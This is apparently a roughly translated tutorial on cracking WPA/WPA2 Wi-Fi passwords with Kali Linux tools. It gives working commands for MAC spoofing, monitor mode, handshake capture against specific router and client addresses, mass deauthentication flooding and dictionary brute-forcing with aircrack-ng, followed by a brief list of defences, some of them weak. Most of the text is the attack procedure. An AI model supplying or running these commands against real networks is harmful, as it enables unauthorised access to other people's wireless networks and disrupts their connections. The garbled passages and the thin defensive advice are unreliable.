Cracking the Wireless password of kali
Wireless encryption method:
1, WEP(Limited Equivalent Encryption)-using WEP64-bit or 128-bit data encryption is currently relatively poor
2. WPA-PSK{TKIP}-Pre-shared WIFI protection access, WPA-PSK standard encryption technology, encryption type TKIP
3. WPA2-PSK[AES]-WIFI protected access with pre-shared key (version 2), using WPA2-PSK standard encryption technology, encryption type AES
WPA-PSK[TKIP]+WPA-PSK [AES]-Allows clients to use WPA-PSK[TKIP] or WPA2-PSK[AES]
5. WAPI-Wireless local area network authentication and protection infrastructure, encryption technology supported by China, is the security mechanism in the mandatory standard of Chinese wireless local area network
Global wireless local area network on two U.S. IE802.11 China's WAPI, the current mainstream WPA2-PSK
Step 1: Bridging Wireless Network Cards
Step 2: Check the network card information
Step 3: Start modifying NIC promiscuous mode
root@localhost:~# airmon-ng stop wlan0 Turn off the wireless adapter
root@localhost:~# macchanger --mac 00:11:22:33:44:55 wlan0 Modify MAC address of wireless card
root@kali:~# airmon-ng start wlan0 Enable wireless adapter
Step 4: Search for wireless signals Ctrl+c Stop searching
root@localhost:~#airodump-ng mon0 Scan for wireless signals
Step 5: Capture handshake information
root@localhost:~#airodump-ng -c 8 -w maguangjie --bssid C8:3A:35:58:12:C8 mon0
-c is the channel-w is to save the packet name and path this time saved in/root bssid wireless router mac address by default
Step 6: Flooding *** Wireless
root@localhost:~#aireplay-ng -0 100 -a C8:3A:35:58:12:C8 -c 00:0f:10:00:a6:61 mon0
root@localhost:~# aireplay-ng --deaut 100000 -a E8:65:D4:5B:2F:30 -c 60:36:DD:A6:18:D2 mon0 --ignore-negative-one
Step 7: handshake information (handshake 0 means no packet is caught)
Step 8: Upload Password Dictionary
Step 9: Brute force cracking
root@localhost:~# aircrack-ng -w /root/mi maguangjie-*.ca # -w Specify the path to dictionary/root/mi
Step 10: Get the password
How to defend against WIFI cracking
1、. Disable SSID broadcast, hide wireless router name
2. Binding MAC address
3, set WPA2-PSK password connection, try to set the password complex, prolong the time of cracking the password
4. Do not "jailbreak" or ROOT mobile devices, and do not connect to wireless networks of unknown origin.
